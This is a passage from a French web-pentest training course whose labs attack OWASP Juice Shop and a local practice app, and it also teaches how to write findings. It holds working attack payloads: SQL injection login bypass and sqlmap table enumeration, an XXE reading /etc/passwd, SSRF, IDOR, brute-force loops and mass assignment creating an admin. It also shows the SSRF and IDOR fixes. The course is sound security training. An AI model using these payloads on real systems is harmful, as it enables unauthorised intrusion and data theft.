    # -> "bienvenue" (HTTP 200), sans le bon mot de passe : l'authentification est contournee
  2. Vous obtenez bienvenue alors qu'aucun mot de passe valide n'a été fourni. Vous savez à quoi ressemble une injection réussie : une requête dont la structure a été détournée par une apostrophe. Gardez ce repère en tête — vous allez chercher le même comportement sur une cible dont vous ignorez le code.
  3. Passez sur Juice Shop, en boîte noire. Le formulaire de connexion envoie du JSON à /rest/user/login. Écrivez la charge dans un fichier pour éviter l'enfer des guillemets, puis postez-la : l'email ' OR 1=1-- détourne la requête.
    cat > artefacts/inj-login.json <<'JSON'
    {"email":"' OR 1=1--","password":"x"}
    JSON
    
    curl -s -X POST http://localhost:3000/rest/user/login \
      -H 'Content-Type: application/json' \
      --data @artefacts/inj-login.json
  4. La réponse contient un objet authentication avec un token et l'adresse admin@juice-sh.op : vous êtes connecté en tant qu'administrateur, sans son mot de passe. C'est le même mécanisme que sur votre banc d'essai, sur une cible dont vous n'avez jamais lu le code. Copiez ce token, il servira aux TP suivants.
  5. La preuve manuelle établit la faille ; sqlmap en mesure la profondeur. Lancez-le sur le paramètre q de la recherche produit, repéré hier. --batch répond « oui » à tout, --dbms=sqlite cible le bon moteur.
    sqlmap -u "http://localhost:3000/rest/products/search?q=a" \
      --batch --dbms=sqlite --level=2 --risk=2 \
      --output-dir=artefacts/sqlmap
  6. sqlmap confirme que q est injectable et identifie le type (souvent une injection UNION sur SQLite). Il vous a fait gagner ce que la main aurait mis une heure à établir. Arrêtez-vous là dans l'extraction : la preuve d'injectabilité suffit au finding.
  7. Pour le rapport, une seule démonstration ciblée d'impact vaut mieux qu'un dump massif. Listez les tables — sans vider la base.
    sqlmap -u "http://localhost:3000/rest/products/search?q=a" \
      --batch --dbms=sqlite --tables \
      --output-dir=artefacts/sqlmap
  8. Vous voyez apparaître une table Users (ou équivalent). C'est l'impact démontré : l'injection ne contourne pas seulement la connexion, elle donne accès au schéma. Notez la sortie, ne la videz pas — la preuve minimale suffisante.
  9. Rédigez le finding F-01 tout de suite, tant que c'est frais : composant (POST /rest/user/login, paramètre email ; et GET /rest/products/search, paramètre q), preuve rejouable (les commandes ci-dessus), sévérité pressentie (une injection contournant l'authentification est typiquement Critical). Vous poserez le vecteur CVSS exact au TP de rédaction.
Questions de réflexion — à préparer par écrit
  • Vous avez confirmé l'injection sur devsecops-lab avant Juice Shop. En quoi connaître le code de la première a-t-il rendu la seconde plus rapide à reconnaître ?
  • sqlmap peut vider toute la base ; vous vous êtes arrêté aux tables. Pourquoi cette retenue est-elle une compétence professionnelle et pas une faiblesse ?
  • La remédiation de VULN-01 (requête paramétrée) est connue depuis M1. Pourquoi Juice Shop, elle, ne sera-t-elle pas « corrigée » par vos soins ?
Pour vous repérer

Le piège des guillemets : la charge ' OR 1=1-- contient une apostrophe qui se bat avec le shell. Passez toujours par un fichier JSON (--data @fichier) plutôt que d'essayer d'échapper à la main — vous perdriez dix minutes en messages d'erreur trompeurs. Côté sqlmap, si l'outil « ne trouve rien », montez --level et --risk, et vérifiez que vous visez bien localhost:3000 et non une adresse externe. Test : vous devez pouvoir expliquer, en une phrase, pourquoi ' OR 1=1-- transforme la requête d'authentification en une condition toujours vraie.

✓ terminé
Travaux pratiques

TP 6 — Authentification : jetons lisibles, pas de limite, reset faible

Jour 2 · Exploiter le Top 10, prouver, corriger · 1 h 15

Démontrer trois défaillances d'authentification distinctes (A07) sur Juice Shop, chacune avec sa preuve.

Vous avez déjà un jeton

Le TP précédent vous a donné un jeton d'administrateur par injection. Ici on s'intéresse au mécanisme d'authentification lui-même : ce que le jeton révèle, l'absence de limitation des tentatives, et la réinitialisation par question secrète. Trois faiblesses, trois findings.

  1. Première faiblesse : le jeton est un JWT, et un JWT n'est pas chiffré, seulement signé. Reconnectez-vous normalement (avec un compte que vous avez créé hier) et récupérez le token, puis décodez sa charge — la partie du milieu, en base64url.
    cat > artefacts/login.json <<'JSON'
    {"email":"VOTRE_EMAIL","password":"VOTRE_MDP"}
    JSON
    
    TOKEN=$(curl -s -X POST http://localhost:3000/rest/user/login \
      -H 'Content-Type: application/json' --data @artefacts/login.json \
      | python3 -c 'import sys,json;print(json.load(sys.stdin)["authentication"]["token"])')
    
    # la charge du JWT est la 2e partie, encodee en base64url (non chiffree)
    echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
  2. Vous lisez en clair l'identifiant, l'email, le rôle, la date d'émission. Un JWT protège l'intégrité (on ne peut pas le modifier sans la clé) mais pas la confidentialité : tout ce qu'on y met est lisible par son porteur. Constat : informations sensibles exposées dans le jeton. Ne rien mettre dans un JWT qu'on n'accepterait pas de rendre public.
  3. Deuxième faiblesse : l'absence de limitation des tentatives. Une authentification saine ralentit ou bloque après quelques échecs. Scriptez dix tentatives erronées et regardez si le serveur réagit.
    for i in $(seq 1 10); do
      code=$(curl -s -o /dev/null -w '%{http_code}' \
        -X POST http://localhost:3000/rest/user/login \
        -H 'Content-Type: application/json' \
        --data '{"email":"admin@juice-sh.op","password":"faux'"$i"'"}')
      echo "tentative $i -> $code"
    done
  4. Les dix tentatives renvoient le même 401, sans délai croissant ni blocage : rien n'empêche une attaque par force brute ou par dictionnaire. Constat : absence de limitation du taux de tentatives. La preuve, c'est la régularité des réponses — collez la sortie.
  5. Troisième faiblesse : la réinitialisation de mot de passe repose sur une question secrète, dont la réponse est souvent devinable ou publique (ville de naissance, nom d'un animal, film préféré). Repérez le mécanisme.
    curl -s http://localhost:3000/rest/user/security-questions
    curl -s 'http://localhost:3000/api/SecurityAnswers/' | head -c 300; echo
  6. Vous constatez que le compte est récupérable par une donnée que l'utilisateur partage volontiers ailleurs. Une question secrète n'est pas un second facteur : c'est un mot de passe faible et permanent, impossible à changer une fois éventé. Constat : réinitialisation par question secrète.
  7. Vous tenez trois findings distincts au sein d'une même famille (A07). Rédigez-les séparément — jeton trop bavard, pas de limitation, reset faible — car ils ont trois remédiations différentes : réduire le contenu du JWT ; ajouter une limitation et un verrouillage ; remplacer la question secrète par un lien de réinitialisation à durée de vie courte, idéalement avec un second facteur.
Questions de réflexion — à préparer par écrit
  • Un JWT est signé mais pas chiffré. Quelle règle en tirez-vous sur ce qu'on a le droit d'y placer, et pourquoi la signature ne suffit-elle pas à protéger son contenu ?
  • L'absence de limitation des tentatives n'est pas une faille « qui donne accès » à elle seule. Pourquoi est-elle quand même à signaler, et quelle autre faiblesse rend-elle exploitable ?
  • En quoi une question secrète est-elle structurellement pire qu'un mot de passe, alors qu'elle en a l'apparence ?
Pour vous repérer

Le décodage du JWT bute souvent sur le base64url : la charge peut manquer de caractères de remplissage (=) et base64 -d râle. Le 2>/dev/null masque le bruit ; si rien ne sort, ajoutez le remplissage ou utilisez un décodeur base64url. L'essentiel est de voir que la charge est lisible, pas d'avoir un décodage parfait. Pour la limitation, ne concluez pas trop vite : dix 401 identiques prouvent l'absence de ralentissement, c'est bien le résultat attendu, pas un échec de votre test.

✓ terminé
Quiz

Quiz — Exploitation et remédiation

Jour 2 · Exploiter le Top 10, prouver, corriger · 10 min

1. Sur Juice Shop, l'email ' OR 1=1-- vous connecte sans mot de passe. Quelle remédiation ferme réellement cette injection ?

2. Vous décodez la charge d'un JWT et y lisez l'email et le rôle en clair. Qu'est-ce que cela prouve ?

3. Vous pouvez lire le panier d'un autre client en changeant un identifiant dans l'URL. Comment nomme-t-on cette faiblesse et comment la corriger ?

4. Pourquoi une SSRF est-elle dangereuse même quand l'application ne renvoie pas le contenu récupéré ?

5. Vous vous êtes arrêté à la liste des tables plutôt que de vider la base. Quelle bonne pratique appliquez-vous ?

✓ terminé
Leçon

XXE : quand le parseur XML lit vos fichiers

Jour 2 · Exploiter le Top 10, prouver, corriger · 20 min

Vous avez rencontré en M2, sur devsecops-lab, la désérialisation non sûre (VULN-07, yaml.load) : un format de données qui, mal parsé, exécute du code. L'XXE (XML External Entity) en est le cousin côté XML, et il illustre la même leçon : un parseur trop serviable est une porte d'entrée.

Le mécanisme

Le XML permet de définir des entités — des raccourcis. Une entité peut pointer vers une ressource externe, y compris un fichier local du serveur. Si le parseur résout ces entités externes (ce qu'il ne devrait jamais faire par défaut), il va lire le fichier et l'inclure dans le document traité :

<!DOCTYPE root [ <!ENTITY secret SYSTEM "file:///etc/passwd"> ]>

Un document qui référence ensuite &secret; se voit remplacer l'entité par le contenu du fichier. L'application, croyant lire des données, lit et renvoie /etc/passwd. Selon la configuration, on peut ainsi lire des fichiers, atteindre des services internes (une SSRF déguisée) ou provoquer un déni de service.

Le point commun avec la désérialisation

XXE, yaml.load, pickle, la sérialisation Java : à chaque fois, un format de données a le droit de déclencher un comportement — inclure un fichier, instancier un objet, exécuter une fonction. La règle est toujours la même : les données ne doivent jamais être exécutables. On désactive les fonctionnalités actives du parseur, on ne fait pas confiance à l'entrée.

La remédiation

Elle est nette et se dit en une phrase : désactiver la résolution des entités externes et des DTD dans la configuration du parseur XML. Tous les parseurs modernes offrent l'option ; la plupart la désactivent désormais par défaut — ce qui signifie qu'un XXE exploitable révèle un parseur ancien ou reconfiguré à tort.

Sur Juice Shop, vous le prouverez ; vous ne le corrigerez pas

Juice Shop accepte des fichiers XML (le formulaire de réclamation). Vous y tenterez un XXE au TP suivant. Comme pour tout Juice Shop, la remédiation reste conceptuelle — vous n'en possédez pas le code. La seule remédiation que vous écrirez et vérifierez aujourd'hui porte sur votre appli : VULN-04 (IDOR) et VULN-08 (SSRF).

✓ terminé
Travaux pratiques

TP 7 — Serveur : IDOR et XXE sur la cible, puis corriger VULN-04 et VULN-08

Jour 2 · Exploiter le Top 10, prouver, corriger · 1 h 30

Exploiter un contrôle d'accès défaillant et un XXE sur Juice Shop, prouver une SSRF sur votre appli, puis fermer réellement VULN-04 et VULN-08 et le vérifier par rejeu.

Deux cibles, deux régimes

Juice Shop (3000) : on exploite, on prouve, la remédiation reste conceptuelle. devsecops-lab (5000) : on prouve et on corrige pour de vrai. Pour itérer vite sur la correction, on lance votre appli en local avec Python ; libérez d'abord le port : docker stop devsecops-lab.

  1. Juice Shop — IDOR/BOLA. Connectez-vous avec votre compte et notez le bid (identifiant de panier) que l'application vous attribue. Puis demandez le panier d'un autre identifiant, avec votre propre jeton.
    # votre jeton (reprenez celui du TP 5, ou reconnectez-vous)
    TOKEN="COLLEZ_VOTRE_TOKEN_ICI"
    
    # votre panier — notez son id
    curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/rest/basket/1
    # le panier d'un autre : changez le numero
    curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/rest/basket/2
  2. Si le second appel vous renvoie le panier d'un autre client alors que votre jeton ne vous y autorise pas, c'est un IDOR (BOLA) : l'application expose un identifiant direct sans vérifier l'appartenance. Preuve : les deux réponses, avec deux bid différents pour un seul jeton. C'est votre finding contrôle d'accès.
  3. Juice Shop — XXE. Le formulaire de réclamation accepte des fichiers, dont du XML. Fabriquez un document dont une entité externe pointe vers un fichier du serveur, puis envoyez-le à l'endpoint d'upload.
    cat > artefacts/xxe.xml <<'XML'
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <root>&xxe;</root>
    XML
    
    curl -s -F 'file=@artefacts/xxe.xml' http://localhost:3000/file-upload
  4. Si la réponse (ou l'erreur renvoyée) laisse apparaître le contenu de /etc/passwd, le parseur a résolu l'entité externe : XXE confirmé. Selon la version, la fuite peut être directe ou indirecte (message d'erreur, délai) ; consignez ce que vous obtenez, tel quel. La remédiation, conceptuelle ici, est celle de la leçon : désactiver entités externes et DTD.
  5. devsecops-lab — prouver la SSRF (VULN-08). Lancez votre appli en local. Son endpoint /fetch récupère, côté serveur, l'URL que vous lui donnez.
    docker stop devsecops-lab 2>/dev/null
    cd ~/devsecops-lab && python app.py &
    sleep 2
    
    # le serveur va chercher, pour vous, un service que vous lui designez
    curl -s "http://localhost:5000/fetch?url=http://localhost:3000/metrics" | head -5
  6. Le serveur vous renvoie le contenu de /metrics de Juice Shop : c'est lui, avec sa position réseau, qui est allé le chercher. Dans un vrai déploiement, ce paramètre atteindrait les métadonnées cloud ou un service interne non exposé. SSRF prouvée (VULN-08).
  7. Corriger VULN-08. Créez une branche et remplacez la fonction fetch par une version qui n'autorise qu'une liste blanche d'hôtes et refuse tout le reste.
    git checkout -b fix/vuln-08-ssrf
    
    # --- remplacez la fonction fetch() de app.py par ceci ---
    # from urllib.parse import urlparse  (a ajouter en haut du fichier)
    #
    # ALLOWLIST = {"api.partenaire.example"}   # hotes explicitement autorises
    #
    # @app.route("/fetch")
    # def fetch():
    #     u = request.args.get("url", "")
    #     p = urlparse(u)
    #     if p.scheme not in ("http", "https") or p.hostname not in ALLOWLIST:
    #         return {"erreur": "hote non autorise"}, 400
    #     return requests.get(u, timeout=3).text
  8. Relancez l'appli et rejouez exactement la requête d'attaque : elle doit désormais être refusée.
    # arreter l'ancien processus puis relancer
    pkill -f 'python app.py'; sleep 1
    cd ~/devsecops-lab && python app.py &
    sleep 2
    
    curl -s -o /dev/null -w 'ssrf apres correction -> %{http_code}\n' \
      "http://localhost:5000/fetch?url=http://localhost:3000/metrics"
    # -> 400 : l'hote n'est pas dans la liste blanche
  9. Un 400 sur la charge qui passait il y a deux minutes : la remédiation est vérifiée par rejeu, pas seulement annoncée. C'est ce que le référentiel exige d'un finding — une remédiation qu'un tiers peut re-tester.
  10. Corriger VULN-04 (IDOR). Même méthode sur /profile/<uid> : on vérifie que le porteur du jeton n'accède qu'à son propre profil.
    git checkout main && git checkout -b fix/vuln-04-idor
    
    # --- remplacez la fonction profile() de app.py par ceci ---
    # JETONS = {"jeton-alice": 1}          # jeton -> id autorise (minimal, tient lieu de session)
    #
    # @app.route("/profile/<int:uid>")
    # def profile(uid):
    #     appelant = JETONS.get(request.headers.get("Authorization", ""))
    #     if appelant is None or appelant != uid:
    #         return {"erreur": "acces refuse"}, 403
    #     row = db().execute("SELECT user FROM users WHERE id=?", (uid,)).fetchone()
    #     return {"id": uid, "user": row[0] if row else None}
  11. Relancez, puis prouvez les trois comportements : sans jeton, refusé ; avec le bon jeton sur son propre profil, autorisé ; avec ce même jeton sur un autre profil, refusé.
    pkill -f 'python app.py'; sleep 1
    cd ~/devsecops-lab && python app.py &
    sleep 2
    
    curl -s -o /dev/null -w 'sans jeton        -> %{http_code}\n' http://localhost:5000/profile/1
    curl -s -o /dev/null -w 'bon jeton, id 1   -> %{http_code}\n' \
      -H 'Authorization: jeton-alice' http://localhost:5000/profile/1
    curl -s -o /dev/null -w 'jeton id 1 -> id 2 -> %{http_code}\n' \
      -H 'Authorization: jeton-alice' http://localhost:5000/profile/2
    # attendu : 403 / 200 / 403
  12. 403 / 200 / 403 : l'accès est désormais lié à l'identité, pas à la connaissance de l'identifiant. C'est le cœur de la remédiation d'un IDOR — une vérification d'autorisation côté serveur. Ce jeton codé en dur est un raccourci de maquette qui tient lieu de session ; le principe (vérifier l'appartenance) est le vrai livrable. Committez chaque correction sur sa branche, message clair.
Questions de réflexion — à préparer par écrit
  • L'IDOR de Juice Shop et le vôtre sur devsecops-lab ont la même remédiation. Formulez-la sans citer de langage : que doit vérifier le serveur, et pourquoi le client ne peut-il jamais en être responsable ?
  • Votre correction SSRF repose sur une liste blanche. Pourquoi une liste noire (« interdire 169.254.169.254 et localhost ») serait-elle une bien moins bonne idée ?
  • Vous avez prouvé chaque correction par rejeu de la charge d'attaque. En quoi un rapport qui dit « corrigé » sans ce rejeu est-il aussi peu fiable qu'un finding sans preuve ?
Pour vous repérer

Le piège du jeton dans le TP IDOR de Juice Shop : le préfixe Bearer est obligatoire dans l'en-tête, et le jeton expire — si vous récoltez des 401, reconnectez-vous et reprenez un jeton frais avant de soupçonner autre chose. Pour les corrections, l'erreur classique est d'éditer app.py sans relancer le processus : Flask en debug=True recharge sur sauvegarde, mais si vous l'avez lancé en arrière-plan, un pkill -f 'python app.py' puis relance lève tout doute. Test de sortie : vous devez avoir, côte à côte, la charge qui passait AVANT et la même charge refusée APRÈS, pour VULN-08 comme pour VULN-04.

✓ terminé
Travaux pratiques

TP 8 — Six findings rédigés au gabarit

Jour 2 · Exploiter le Top 10, prouver, corriger · 1 h 15

Transformer une journée d'exploits en findings professionnels : F-01 à F-06, chacun avec vecteur CVSS, preuve rejouable et remédiation vérifiable.

Le gabarit fait autorité

Le référentiel fixe un gabarit unique pour tout finding. Reproduisez-le à l'identique pour chacun — c'est ce qui rend le rapport homogène et exploitable par un tiers. Le vecteur CVSS complet est obligatoire, pas seulement le score.

  1. Ouvrez rapports/pentest-juice-shop.md et remplissez la partie 4 (findings détaillés). Six blocs, un par exploit de la journée : F-01 injection, F-02 contournement d'authentification / jeton bavard, F-03 absence de limitation, F-04 IDOR/BOLA, F-05 SSRF, F-06 XXE. Regroupez ou séparez selon les remédiations, pas selon votre humeur.
  2. Voici le gabarit exact — celui du référentiel, avec l'exemple F-01 rempli. Copiez la structure pour chacun de vos findings.
    ### F-01 — Injection SQL sur le formulaire d'authentification
    
    - Severite : Critical — CVSS 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
    - Composant : POST /rest/user/login, parametre email
    - References : CWE-89, OWASP A03:2021 — Injection
    
    Description
      La requete d'authentification est construite par concatenation ; une entree
      contenant une apostrophe et un commentaire modifie la structure de la requete.
    
    Impact
      Contournement de l'authentification (connexion en admin sans mot de passe),
      acces au schema et lecture de donnees via sqlmap.
    
    Preuve (rejouable)
      $ curl -s -X POST http://localhost:3000/rest/user/login \
          -H 'Content-Type: application/json' \
          --data '{"email":"'"'"' OR 1=1--","password":"x"}'
      -> objet authentication avec un token pour admin@juice-sh.op
    
    Remediation
      Requete parametree (valeurs liees, jamais concatenees).
      Verifier par rejeu que la charge d'injection renvoie desormais 401.
  3. Pour le vecteur CVSS, ne devinez pas le score : construisez le vecteur métrique par métrique, puis lisez le score qui en découle. Un calculateur CVSS v3.1 hors ligne (ou la grille du référentiel) suffit. Ce qui compte pour le lecteur, c'est le vecteur — il montre comment vous avez coté, et il se discute.
  4. Rappel des bandes du référentiel, pour situer chaque finding :
    BandeScore CVSS v3.1Délai de correction attendu
    Critical9.0 – 10.0immédiat
    High7.0 – 8.9≤ 7 jours
    Medium4.0 – 6.9≤ 30 jours
    Low0.1 – 3.9planifié
    Info0.0à discrétion
  5. Pour chaque finding, la preuve doit être la commande exacte que vous avez collée dans artefacts/ aujourd'hui — pas une reformulation. Si vous ne retrouvez pas la commande d'un exploit, c'est que la note du matin était incomplète : rejouez-le proprement plutôt que d'écrire de mémoire.
  6. Distinguez clairement le statut de chaque finding : pour VULN-04 et VULN-08 (sur devsecops-lab), vous pouvez écrire « corrigé et vérifié par rejeu » avec la preuve de fermeture. Pour tout ce qui concerne Juice Shop, le statut est « ouvert — remédiation recommandée », jamais « corrigé » : vous n'en possédez pas le code.
  7. Remplissez enfin la partie 3 (synthèse) : un tableau F-NN / titre / sévérité / CVSS / statut. C'est la page que le client lit en premier ; elle doit se suffire à elle-même. Committez : « pentest juice-shop : findings F-01 a F-06 ».
Questions de réflexion — à préparer par écrit
  • Le gabarit impose le vecteur CVSS complet, pas seulement le score. Qu'est-ce que le vecteur permet à un lecteur que le score seul lui refuse ?
  • Vous notez « corrigé » pour VULN-08 mais « ouvert » pour l'IDOR de Juice Shop. Pourquoi cette asymétrie est-elle une exigence d'honnêteté et pas une paresse ?
Pour vous repérer

La faute qui décrédibilise un rapport : recopier une preuve « de mémoire » légèrement fausse, que le client rejoue et qui échoue. Votre preuve est la ligne exacte de artefacts/, copiée-collée, pas reconstruite. Si vous ne la retrouvez pas, l'exploit se rejoue en deux minutes — c'est toujours plus rapide que de défendre un finding non reproductible en soutenance. Test : prenez un finding au hasard et rejouez sa preuve telle qu'écrite ; si elle ne produit pas l'effet annoncé, elle n'est pas prête.

✓ terminé
Point de contrôle

M5 · J2 — Cinq classes exploitées avec preuve ; VULN-04 et VULN-08 fermées

Jour 2 · Exploiter le Top 10, prouver, corriger · 30 min

Vérifiez avant de continuer
Point avec votre encadrant — mercredi 19 août, 16 h 30

30 minutes à distance. Samer choisira un de vos six findings et vous demandera de rejouer sa preuve en direct, puis de justifier son vecteur CVSS métrique par métrique. Un finding qui ne se rejoue pas, ou dont le vecteur ne se défend pas, sera à reprendre.

Préparez surtout la démonstration des deux corrections : la même charge qui passait ce matin et qui est refusée ce soir. C'est la preuve qu'une remédiation se vérifie, elle ne s'annonce pas.

✓ terminé
Leçon

La sécurité des API : là où le Top 10 se déplace

Jour 3 · Les API, puis le rapport qui fait foi · 25 min

Vous l'avez constaté dès la reconnaissance : Juice Shop est d'abord une API (/rest, /api) qu'un client web consomme. C'est le cas de la plupart des applications modernes, et cela déplace la surface d'attaque. L'OWASP maintient un API Security Top 10 distinct (édition 2023), parce que les API introduisent des faiblesses que le Top 10 web ne capturait pas bien.

Ce que les API changent

  • Chaque objet a son endpoint. /api/Users/42, /rest/basket/7 : l'identifiant est dans l'URL, exposé, incrémentable. C'est le terrain rêvé du contrôle d'accès défaillant.
  • Le serveur fait confiance au JSON reçu. Si l'API lie automatiquement les champs du corps à son modèle, un champ en trop (role, isAdmin) peut s'écrire là où il ne devrait pas.
  • Les réponses en disent trop. Une API renvoie souvent l'objet entier et laisse au client le soin de n'afficher que l'utile — donc elle expose le reste à qui lit la réponse brute.
API Top 10 (2023)En clairCe que vous testez sur Juice Shop
API1 — BOLAAccès à l'objet d'un autre (l'IDOR, à l'échelle de l'API)Lire /api/Users/<id> ou un panier qui n'est pas le vôtre
API2 — Authentification défaillanteJetons faibles, pas de limitationDéjà vu hier — jeton lisible, force brute possible
API3 — BOPLA / mass assignmentLe serveur écrit un champ que le client n'aurait pas dû fournirS'enregistrer avec role:admin dans le JSON
API6 — Exposition excessive de donnéesLa réponse contient plus que nécessaireLire la réponse brute d'un endpoint utilisateur
BOLA est la faille numéro 1 des API, et aucun scanner ne la trouve

Le contrôle d'accès au niveau de l'objet (BOLA) est en tête du classement API depuis des années, parce qu'il dépend du sens de vos données — à qui appartient quoi. nuclei ne peut pas le savoir ; seul un humain qui comprend le métier le peut. C'est exactement la limite des signatures vue mardi, et la raison d'être de votre travail manuel.

Le proxy est votre meilleur allié sur une API

Le client web fait tout le travail d'authentification et d'appel ; il vous suffit d'observer ses requêtes dans le proxy, puis de les rejouer modifiées — un identifiant changé, un champ ajouté. C'est là que Repeater (Burp Community) ou le rejeu mitmproxy montrent toute leur valeur.

✓ terminé
Travaux pratiques

TP 9 — Attaquer l'API REST de Juice Shop

Jour 3 · Les API, puis le rapport qui fait foi · 1 h 30

Exploiter les faiblesses propres aux API : accès aux objets d'autrui (BOLA), écriture d'un champ interdit (mass assignment), exposition excessive de données.

Vous travaillez sur les requêtes, pas sur les pages

Reprenez votre carte d'endpoints et votre jeton. L'essentiel du TP consiste à rejouer, modifiées, des requêtes que le client web émet normalement. Gardez le proxy ouvert pour capturer les requêtes réelles avant de les altérer.

  1. Mass assignment (API3). L'inscription attend quelques champs ; ajoutez-en un que le formulaire ne propose pas — role — et voyez si le serveur l'écrit.
    cat > artefacts/reg-admin.json <<'JSON'
    {"email":"pirate@evil.test","password":"Passw0rd!","passwordRepeat":"Passw0rd!",
     "securityQuestion":{"id":1},"securityAnswer":"x","role":"admin"}
    JSON
    
    curl -s -X POST http://localhost:3000/api/Users \
      -H 'Content-Type: application/json' \
      --data @artefacts/reg-admin.json | head -c 500; echo
  2. Si la réponse renvoie le compte créé avec "role":"admin", le serveur a lié aveuglément le champ que vous avez injecté : mass assignment (BOPLA). Vous venez de créer un administrateur depuis un formulaire d'inscription ordinaire. Preuve : la réponse JSON. Remédiation (conceptuelle) : liste blanche des champs acceptés côté serveur, le rôle n'étant jamais fixé par le client.
  3. BOLA (API1). Connectez-vous avec un compte ordinaire, récupérez son jeton, puis demandez la ressource d'un autre identifiant. Commencez par voir ce que l'API renvoie sur votre propre utilisateur.
    TOKEN="COLLEZ_UN_JETON_ORDINAIRE"
    
    curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/rest/user/whoami; echo
    # puis tentez un objet qui n'est pas le votre
    curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/Users/1 | head -c 400; echo
  4. Notez précisément qui devrait avoir accès à /api/Users/1 et ce que votre jeton ordinaire obtient réellement. Si vous lisez les données d'un utilisateur qui n'est pas vous, c'est un BOLA. Si l'API refuse (403), notez-le aussi : un contrôle d'accès qui tient est un résultat d'audit, exactement comme sa défaillance.
  5. Exposition excessive (API6). Regardez la réponse brute d'un endpoint que le client web « nettoie » avant affichage. Ce que l'API renvoie, l'attaquant le lit entièrement.
    curl -s http://localhost:3000/api/Products/1 | python3 -m json.tool | head -40
  6. Repérez les champs renvoyés qui ne servent à rien à l'affichage (identifiants internes, champs techniques, dates de suppression logique…). Chacun est une information offerte. Sur un endpoint utilisateur, cela peut aller jusqu'au hash de mot de passe ou à un jeton. Constat : la réponse en dit plus que l'écran.
  7. Systématisez avec le proxy. Faites naviguer le client web (ajout au panier, consultation de commande) pendant que mitmproxy enregistre, puis relisez les appels d'API : c'est la vraie liste des objets adressables, avec leurs identifiants.
    mitmdump -nr artefacts/juice-trafic.flows --set flow_detail=1 2>/dev/null \
      | grep -oE '(GET|POST|PUT|DELETE) https?://[^ ]+/(api|rest)/[^ ]+'
  8. Pour chaque objet adressable que vous trouvez (/rest/basket/<id>, /api/Feedbacks/<id>, /api/Users/<id>…), posez toujours la même question : mon jeton m'autorise-t-il, ou l'API me laisse-t-elle faire ? C'est le réflexe BOLA, et c'est ce qu'aucun outil ne fera à votre place.
  9. Vous tenez trois à quatre findings d'API. Ils deviendront F-07 à F-10 dans le rapport. Consignez chacun dans artefacts/ avec sa requête exacte avant de passer à la rédaction — c'est encore la même discipline : la note d'abord.
Questions de réflexion — à préparer par écrit
  • Le mass assignment vous a fait créer un admin depuis une inscription. En quoi est-ce une faute de conception côté serveur, et pas une astuce de votre part ?
  • Vous avez posé, pour chaque objet, la question « mon jeton m'autorise-t-il ? ». Pourquoi cette question ne peut-elle jamais être déléguée à un scanner ?
  • Une API qui renvoie l'objet entier « pour simplifier le client » expose plus que l'écran. Où placer la responsabilité de ne renvoyer que l'utile, et pourquoi pas côté client ?
Pour vous repérer

Le mass assignment échoue silencieusement si un champ obligatoire manque : Juice Shop renvoie alors une erreur de validation, pas votre admin. Reprenez la liste des champs attendus (email, password, passwordRepeat, securityQuestion, securityAnswer) et n'ajoutez role qu'en plus. Pour BOLA, le piège est de conclure trop vite : un 403 n'est pas un échec de votre test, c'est un contrôle qui tient — notez-le comme tel. Test de sortie : pour trois objets adressables, vous devez pouvoir dire si l'accès est correctement cloisonné ou non, preuve à l'appui.

✓ terminé
Quiz

Quiz — Sécurité des API

Jour 3 · Les API, puis le rapport qui fait foi · 10 min

1. Pourquoi le BOLA (accès à l'objet d'un autre) est-il en tête du Top 10 des API et invisible pour un scanner automatique ?

2. Vous vous inscrivez en ajoutant "role":"admin" au JSON et obtenez un compte administrateur. Comment nomme-t-on cette faiblesse ?

3. Une API renvoie l'objet utilisateur complet, dont un hash de mot de passe, mais le client web ne l'affiche pas. Est-ce un problème ?

4. Pour explorer une API efficacement en boîte noire, quel est le geste le plus productif ?

✓ terminé
Leçon

Le rapport de pentest : ce qui reste quand l'attaque est finie

Jour 3 · Les API, puis le rapport qui fait foi · 25 min

Tout ce que vous avez fait depuis mardi ne vaut que par ce qui va s'écrire aujourd'hui. Le client n'a pas vu vos exploits ; il lira votre rapport. Un test brillant mal rapporté est un test perdu ; un test modeste bien rapporté est utilisable. Le rapport est le livrable.

1 · Résumé exécutif 2 · Périmètre et méthodologie 3 · Synthèse des findings 4 · Findings détaillés (F-01..F-10) 5 · Feuille de route de remédiation 6 · Annexes (commandes rejouables) Un finding = 5 obligations • Sévérité + vecteur CVSS v3.1 complet • Composant précis (URL, paramètre) • Références CWE / OWASP • Preuve REJOUABLE (la commande exacte) • Remédiation VÉRIFIABLE (et son test)
Le plan type du référentiel. La partie 4 est le cœur ; les cinq obligations d'un finding sont ce qui distingue un rapport d'une opinion.

Le plan type, imposé par le référentiel

Six parties, dans cet ordre, parce que chaque lecteur n'ouvre pas la même :

PartiePour quiCe qu'elle contient
1 · Résumé exécutifUn décideur non techniqueUne page, sans jargon : le risque global, les points saillants, la recommandation
2 · Périmètre et méthodologieLe responsable technique et le juristeCible, versions, dates, ce qui était autorisé et hors-scope, la méthode
3 · Synthèse des findingsQuelqu'un qui veut l'état en un coup d'œilTableau F-NN / titre / sévérité / CVSS / statut
4 · Findings détaillésL'équipe qui corrigeUn bloc par vulnérabilité, au gabarit : le cœur du rapport
5 · Feuille de routeLe chef de projetLes findings ordonnés par sévérité puis effort, avec des délais
6 · AnnexesCelui qui veut rejouerCommandes exactes, sorties d'outils, références CWE / OWASP

Les cinq obligations d'un finding

Un bloc de la partie 4 n'est complet que s'il porte les cinq : sévérité + vecteur CVSS v3.1 complet, composant précis, références CWE/OWASP, preuve rejouable, remédiation vérifiable. Il en manque une, ce n'est plus un finding, c'est une opinion.

Le vecteur CVSS, pas seulement le score

Écrire « Critique 9.8 » ne se discute pas ; écrire CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H se vérifie. Le vecteur montre comment vous avez coté — vecteur d'attaque réseau, sans privilège, sans interaction — et permet au client de recalculer s'il conteste. Le référentiel exige le vecteur complet sur chaque finding.

Le résumé exécutif s'écrit en dernier, et sans un mot de jargon

